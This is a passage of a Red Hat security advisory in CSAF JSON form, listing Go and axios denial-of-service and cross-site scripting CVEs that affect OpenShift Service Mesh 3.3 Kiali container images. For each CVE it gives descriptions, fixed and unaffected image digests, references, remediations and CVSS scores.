            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "html/template: golang: Go html/template: Cross-Site Scripting via pathological input"
    },
    {
      "cve": "CVE-2026-56859",
      "cwe": {
        "id": "CWE-776",
        "name": "Improper Restriction of Recursive Entity References in DTDs (\u0027XML Entity Expansion\u0027)"
      },
      "discovery_date": "2026-08-13T22:16:52.493058+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515840"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `encoding/xml` package of Go. The `DecodeElement` function failed to correctly track recursion depth, which could lead to stack exhaustion. A remote attacker could exploit this vulnerability by providing a specially crafted XML input, resulting in a Denial of Service (DoS) for the affected application.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "An Important denial of service flaw affects applications utilizing the Go `encoding/xml` package. This vulnerability arises from an issue in XML decoding where a recursion depth counter fails to reset, potentially leading to stack exhaustion when processing malicious XML input.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56859"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515840",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56859",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56859",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56859"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/803320",
          "url": "https://go.dev/cl/803320"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80481",
          "url": "https://go.dev/issue/80481"
        },
        {
          "category": "external",
          "summary": "https://groups.google.com/g/golang-announce/c/94pEornpRlI",
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-6088",
          "url": "https://pkg.go.dev/vuln/GO-2026-6088"
        }
      ],
      "release_date": "2026-08-13T21:58:52.959000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue"
    },
    {
      "cve": "CVE-2026-56860",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-13T22:13:18.319384+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515820"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in `net/url`, a component of `golang`. This vulnerability arises when resolving relative paths that contain numerous parent directory (\u0027..\u0027) segments. A remote attacker could exploit this by providing a specially crafted path, leading to quadratic time complexity and excessive memory allocation. This can result in a Denial of Service (DoS) due to resource exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service flaw in the Go `net/url` package. Applications built with Go that process untrusted URLs containing parent directory segments (\u0027..\u0027) may be vulnerable to excessive resource consumption due to quadratic time complexity in path resolution. This can lead to a denial of service, impacting the availability of affected services.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56860"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515820",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56860",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56860"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/803681",
          "url": "https://go.dev/cl/803681"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80494",
          "url": "https://go.dev/issue/80494"
        },
        {
          "category": "external",
          "summary": "https://groups.google.com/g/golang-announce/c/94pEornpRlI",
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-6218",
          "url": "https://pkg.go.dev/vuln/GO-2026-6218"
        }
      ],
      "release_date": "2026-08-13T21:58:53.731000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution"
    },
    {
      "cve": "CVE-2026-56862",
      "cwe": {
        "id": "CWE-1050",
        "name": "Excessive Platform Resource Consumption within a Loop"
      },
      "discovery_date": "2026-08-13T22:16:41.928450+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515839"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `crypto/tls` package, part of `golang`. A malicious client can exploit this vulnerability by continuously sending KeyUpdate messages to a server. This forces the server to perform indefinite key derivation operations, leading to resource exhaustion and a Denial of Service (DoS) condition.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in the `golang` `crypto/tls` package. A remote, unauthenticated attacker can exploit this flaw by continuously sending `KeyUpdate` messages during a TLS handshake, forcing the server to perform indefinite key derivation operations. This resource exhaustion can lead to a denial of service for applications and services in Red Hat products that use the affected `crypto/tls` library and are exposed to untrusted network clients.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56862"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515839",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56862",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56862"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/804261",
          "url": "https://go.dev/cl/804261"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80528",
          "url": "https://go.dev/issue/80528"
        },
        {
          "category": "external",
          "summary": "https://groups.google.com/g/golang-announce/c/94pEornpRlI",
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-6090",
          "url": "https://pkg.go.dev/vuln/GO-2026-6090"
        }
      ],
      "release_date": "2026-08-13T21:58:53.216000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages"
    },
    {
      "cve": "CVE-2026-67313",
      "cwe": {
        "id": "CWE-674",
        "name": "Uncontrolled Recursion"
      },
      "discovery_date": "2026-08-01T13:03:08.824485+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510017"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. A remote attacker could exploit an uncontrolled recursion vulnerability in the formDataToJSON function by supplying FormData with field names containing deeply nested bracket segments. This could exhaust the JavaScript call stack, leading to a RangeError and causing a denial of service (DoS) through request failure or process termination in affected applications.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
